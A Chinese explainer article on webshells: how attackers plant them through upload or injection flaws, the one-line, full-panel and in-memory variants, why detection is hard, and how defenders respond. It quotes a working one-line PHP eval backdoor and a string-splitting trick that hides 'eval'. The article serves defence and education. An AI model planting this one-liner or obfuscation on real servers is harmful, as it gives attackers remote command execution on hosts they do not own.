当前位置:首页 > 休闲

webshell是什么

一台服务器上多了一个陌生文件,名字可能叫 shell.php,也可能伪装成 cache.jpg 或 index.php.bak。文件不大,几KB,但里面藏着几十行代码。攻击者只要在浏览器地址栏里敲一串特定参数,就能让这台服务器执行任何他想要的命令——查看文件、上传木马、连接数据库、甚至以此为跳板攻击内网其他机器。这个文件,就是 webshell。

说白了,webshell 就是一段运行在 Web 服务器上的后门程序。它本身不是漏洞,而是漏洞被利用之后留下的“驻点”。攻击者通过 SQL 注入、文件上传漏洞、命令执行漏洞等方式,把这段代码写到服务器上,然后像用遥控器一样操作这台机器。Web 服务器通常对公网开放 80 或 443 端口,防火墙很少拦截正常 HTTP 请求,webshell 的通信就藏在这些看似普通的网页访问里。

我见过一个挺典型的例子。某公司官网用的是某款老版本 CMS,文件上传功能没做严格校验。攻击者上传了一个头像,实际内容是一句话木马:<?php @eval($_POST['cmd']); ?>。就这一行,二十几个字符。上传后文件被重命名为 avatar_2023.jpg,放在 /uploads/ 目录下。服务器解析时按 PHP 执行,攻击者用 POST 请求把命令塞进 cmd 参数,服务器就乖乖执行。整个过程不需要登录后台,不需要猜密码。

webshell 分大小。一句话木马最精简,功能全靠后续上传的“马夫”来扩展。大马则自带完整的管理界面,文件管理、命令执行、数据库连接、端口扫描一应俱全,像个小型控制面板。还有内存马,不落地文件,直接注入到 Web 进程的内存里,重启服务就消失,传统文件查杀根本找不到。内存马这两年越来越多,因为防守方对文件落地的检测越来越严。

检测 webshell 不是件容易事。文件内容可以加密、混淆、拆分成多个片段再拼接。有的 webshell 把代码藏在图片的 EXIF 信息里,有的用 base64 编码后放在正常 PHP 文件的注释块中。我见过一个样本,把 eval 拆成 $a='e';$b='v';$c='a';$d='l';$e=$a.$b.$c.$d;,然后动态调用。静态特征匹配基本失效。

防守方通常靠几种手段:文件完整性监控,发现 Web 目录里新增或修改的可疑文件;流量分析,看有没有异常 POST 请求反复访问同一个文件;还有行为检测,比如 PHP 进程突然去读 /etc/passwd 或者发起对外连接。但攻击者也在进化,webshell 的流量可以伪装成正常 API 调用,命令执行结果可以加密回传。

清除 webshell 不能只删文件。得先找到入口点——攻击者是怎么传上来的。是上传漏洞没补,还是弱口令被撞开,还是某个第三方插件带了后门。入口不堵,删掉一个 webshell,过两天又冒出一个。另外要检查有没有其他驻点,比如计划任务、启动项、SSH 公钥。webshell 往往只是攻击链中的一环。

对普通开发者来说,别把文件上传功能当儿戏。白名单校验扩展名、重命名文件、把上传目录设成不可执行,这几步能挡住大部分低级 webshell。对运维来说,Web 目录的权限要收紧,PHP 配置里 disable_functions 该开的开,别让 system、exec、eval 随便用。webshell 这东西,防住了省心,防不住闹心。

分享到: